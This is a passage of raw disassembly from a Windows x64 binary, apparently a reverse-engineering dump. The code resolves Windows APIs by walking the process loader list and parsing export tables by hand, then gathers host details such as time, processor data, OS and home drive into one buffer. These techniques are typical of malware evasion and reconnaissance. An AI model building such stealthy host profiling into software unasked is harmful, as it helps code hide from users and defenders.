lea rdx, str._r_nUTC_time:
lea rcx, [rbp - 0x10]
call fcn.140023a00
nop
mov rcx, rax
call fcn.14001c9e0
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a540
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f598]
lea rcx, [rbp - 0x10]
call fcn.140023b50
nop
mov rcx, rax
call fcn.14001d290
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a667
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a64f
cmp word [r11], r14w
jne 0x14001a661
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a661
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a661
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a64f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a643
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001a63e
cmp byte [rcx], al
jne 0x14001a643
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a614
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a66b
test r8b, r8b
jne 0x14001a62b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a600
cmp qword [rdi + 0x60], 0
je 0x14001a667
mov r14d, 0x5a4d
jmp 0x14001a5a0
xor ebx, ebx
mov eax, ebx
jmp 0x14001a671
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
lea rcx, [rbp + 0x528]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.TzSpecificLocalTimeToSystemTime
lea rcx, [rbp + 0xe0]
call fcn.140023cb0
nop
mov rcx, rax
call fcn.14001d160
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a787
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a76f
cmp word [r11], r14w
jne 0x14001a782
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a782
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a782
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a76f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a763
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001a75e
cmp byte [rcx], al
jne 0x14001a763
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a734
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a78a
test r8b, r8b
jne 0x14001a74b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a720
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001a787
mov r14d, 0x5a4d
jmp 0x14001a6c0
mov rax, rbx
jmp 0x14001a790
mov rax, rbx
mov r14d, 0x5a4d
lea r8, [rbp + 0x3f0]
lea rdx, [rbp + 0x528]
xor ecx, ecx
call rax
nop
movzx edx, word [rbp + 0x3fe]
lea rcx, [rbp - 0x10]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3fc]
lea rcx, [rbp + 0x90]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3fa]
lea rcx, [rbp + 0x140]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3f8]
lea rcx, [rbp + 0x190]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3f0]
lea rcx, [rbp + 0x280]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3f2]
lea rcx, [rbp + 0x208]
call fcn.14001e580
nop
movzx edx, word [rbp + 0x3f6]
lea rcx, [rbp + 0x68]
call fcn.14001e580
nop
mov dl, 0x2e
lea rcx, [rbp + 0x68]
call fcn.140025b10
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x240]
call fcn.1400058c0
nop
lea r9, [rbp + 0x208]
lea r8, [rbp + 0x240]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x48]
call fcn.140025b50
nop
mov dl, 0x2e
lea rcx, [rbp + 0x48]
call fcn.140025b10
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x350]
call fcn.1400058c0
nop
lea r9, [rbp + 0x280]
lea r8, [rbp + 0x350]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x500]
call fcn.140025b50
nop
mov dl, 0x20
lea rcx, [rbp + 0x500]
call fcn.140025b10
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x310]
call fcn.1400058c0
nop
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x310]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x4e0]
call fcn.140025b50
nop
mov dl, 0x3a
lea rcx, [rbp + 0x4e0]
call fcn.140025b10
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x2d0]
call fcn.1400058c0
nop
lea r9, [rbp + 0x140]
lea r8, [rbp + 0x2d0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x480]
call fcn.140025b50
nop
mov dl, 0x3a
lea rcx, [rbp + 0x480]
call fcn.140025b10
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x1e8]
call fcn.1400058c0
nop
lea r9, [rbp + 0x90]
lea r8, [rbp + 0x1e8]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140025b50
nop
mov dl, 0x2e
lea rcx, [rbp - 0x80]
call fcn.140025b10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x4a0]
call fcn.1400058c0
nop
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x4a0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x4c0]
call fcn.140025b50
nop
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp + 0x4c0]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4a0]
call fcn.140005a50
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
lea rcx, [rbp + 0x1e8]
call fcn.140005a50
nop
lea rcx, [rbp + 0x480]
call fcn.140005a50
nop
lea rcx, [rbp + 0x2d0]
call fcn.140005a50
nop
lea rcx, [rbp + 0x4e0]
call fcn.140005a50
nop
lea rcx, [rbp + 0x310]
call fcn.140005a50
nop
lea rcx, [rbp + 0x500]
call fcn.140005a50
nop
lea rcx, [rbp + 0x350]
call fcn.140005a50
nop
lea rcx, [rbp + 0x48]
call fcn.140005a50
nop
lea rcx, [rbp + 0x240]
call fcn.140005a50
nop
lea rcx, [rbp + 0x68]
call fcn.140005a50
nop
lea rcx, [rbp + 0x208]
call fcn.140005a50
nop
lea rcx, [rbp + 0x280]
call fcn.140005a50
nop
lea rcx, [rbp + 0x190]
call fcn.140005a50
nop
lea rcx, [rbp + 0x140]
call fcn.140005a50
nop
lea rcx, [rbp + 0x90]
call fcn.140005a50
nop
lea rcx, [rbp - 0x10]
call fcn.140005a50
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nNumber_of_processors:
lea rcx, [rbp + 0xe0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.14001d030
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001aac0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.NUMBER_OF_PROCESSORS
lea rcx, [rbp + 0xe0]
call fcn.140023fb0
nop
mov rcx, rax
call fcn.14001cf00
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x90]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001ac47
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001ac2f
cmp word [r11], r14w
jne 0x14001ac42
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001ac42
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001ac42
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001ac2f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001ac23
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001ac1e
cmp byte [rcx], al
jne 0x14001ac23
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001abf4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001ac4a
test r8b, r8b
jne 0x14001ac0b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001abe0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001ac47
mov r14d, 0x5a4d
jmp 0x14001ab80
mov rax, rbx
jmp 0x14001ac50
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001acb3
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001ac80
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001acaa
dec rax
cmp rax, 0x104
jae 0x14001b750
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x14001acba
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nProcessor_identifier:
lea rcx, [rbp + 0xe0]
call fcn.140024110
nop
mov rcx, rax
call fcn.14001d030
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001ad11
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.PROCESSOR_IDENTIFIER
lea rcx, [rbp + 0xe0]
call fcn.140024280
nop
mov rcx, rax
call fcn.14001cf00
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x90]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001ae97
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001ae7f
cmp word [r11], r14w
jne 0x14001ae92
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001ae92
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001ae92
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001ae7f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001ae73
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001ae6e
cmp byte [rcx], al
jne 0x14001ae73
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001ae44
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001ae9a
test r8b, r8b
jne 0x14001ae5b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001ae30
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001ae97
mov r14d, 0x5a4d
jmp 0x14001add0
mov rax, rbx
jmp 0x14001aea0
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001af03
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001aed0
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001aefa
dec rax
cmp rax, 0x104
jae 0x14001b756
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x14001af0a
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nProcessor_architecture:
lea rcx, [rbp + 0xe0]
call fcn.1400243e0
nop
mov rcx, rax
call fcn.14001cdd0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001af61
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.PROCESSOR_ARCHITECTURE
lea rcx, [rbp + 0xe0]
call fcn.140024560
nop
mov rcx, rax
call fcn.14001cca0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x90]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001b0e7
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001b0cf
cmp word [r11], r14w
jne 0x14001b0e2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001b0e2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001b0e2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001b0cf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001b0c3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001b0be
cmp byte [rcx], al
jne 0x14001b0c3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001b094
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001b0ea
test r8b, r8b
jne 0x14001b0ab
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001b080
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001b0e7
mov r14d, 0x5a4d
jmp 0x14001b020
mov rax, rbx
jmp 0x14001b0f0
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001b153
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001b120
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001b14a
dec rax
cmp rax, 0x104
jae 0x14001b75c
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x14001b15a
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._n0s:
lea rcx, [rbp - 0x10]
call fcn.1400246d0
nop
mov rcx, rax
call fcn.14001cbb0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001b1b0
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f668]
lea rcx, [rbp + 0x90]
call fcn.140024810
nop
mov rcx, rax
call fcn.14001cad0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xe0]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001b337
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001b31f
cmp word [r11], r14w
jne 0x14001b332
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001b332
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001b332
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001b31f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001b313
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001b30e
cmp byte [rcx], al
jne 0x14001b313
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001b2e4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001b33a
test r8b, r8b
jne 0x14001b2fb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001b2d0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001b337
mov r14d, 0x5a4d
jmp 0x14001b270
mov rax, rbx
jmp 0x14001b340
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001b3a3
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001b370
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001b39a
dec rax
cmp rax, 0x104
jae 0x14001b762
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x14001b3aa
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nHomedrive:
lea rcx, [rbp - 0x10]
call fcn.140024950
nop
mov rcx, rax
call fcn.14001c9e0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001b400
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.HOMEDRIVE
lea rcx, [rbp + 0x90]
call fcn.140024aa0
nop
mov rcx, rax
call fcn.14001c8d0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400058f0
mov r12, rax
mov qword [rsp + 0x70], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x830]
call fcn.140131fa0
mov rcx, r12
call fcn.140005b60
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0xe0]
call fcn.14001f950
nop
mov rcx, rax
call fcn.14001d030
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001b587
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001b56d
cmp word [r11], r14w
jne 0x14001b581
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001b581
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001b58d
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001b56d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001b561
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001b55c
cmp byte [rcx], al
jne 0x14001b561
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001b534
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov ecx, dword [r14 + rcx*4]
add rcx, r11
jmp 0x14001b589
test r8b, r8b
jne 0x14001b54b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001b520
cmp qword [rdi + 0x60], 0
je 0x14001b587
xor ebx, ebx
mov r14d, 0x5a4d
jmp 0x14001b4c0
mov qword [rbp + 0x30], rbx
jmp 0x14001b58d
xor ecx, ecx
mov qword [rbp + 0x30], rcx
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call qword [rbp + 0x30]
nop
dec eax
cmp eax, 0x102
ja 0x14001b605
lea rcx, [rbp + 0x830]
mov rbx, 0xffffffffffffffff
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001b5c0
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x14001b5ea
dec rax
cmp rax, 0x104
jae 0x14001b72c
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
jmp 0x14001b625
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov rcx, r12
call fcn.140005a50
mov rbx, 0xffffffffffffffff
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x460]
call fcn.14001e490
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f68c]
lea rcx, [rbp - 0x10]
call fcn.140024c00
nop
mov rcx, rax
call fcn.14001c7f0
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001b660
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140005ad0
nop
mov rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x460]
call fcn.14001e490
mov edi, dword [rbp + 0x470]
lea rcx, [rbp + 0x460]
call fcn.140005b60
mov rbx, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015f690]
lea rcx, [rbp + 0xe0]
call fcn.140024d40
nop
mov rcx, rax
call fcn.14001c6d0
mov dword [rsp + 0x20], 3
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call fcn.140033ef0
nop
lea rcx, [rbp + 0x460]
call fcn.140005a50
nop
mov rcx, qword [rbp + 0x130]
call fcn.140005a50
mov rcx, qword [rbp + 0x940]
xor rcx, rsp
call fcn.14012f610
mov rbx, qword [rsp + 0xab0]
movaps xmm6, xmmword [rsp + 0xa50]
add rsp, 0xa60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
nop
call fcn.14012fa1c
int3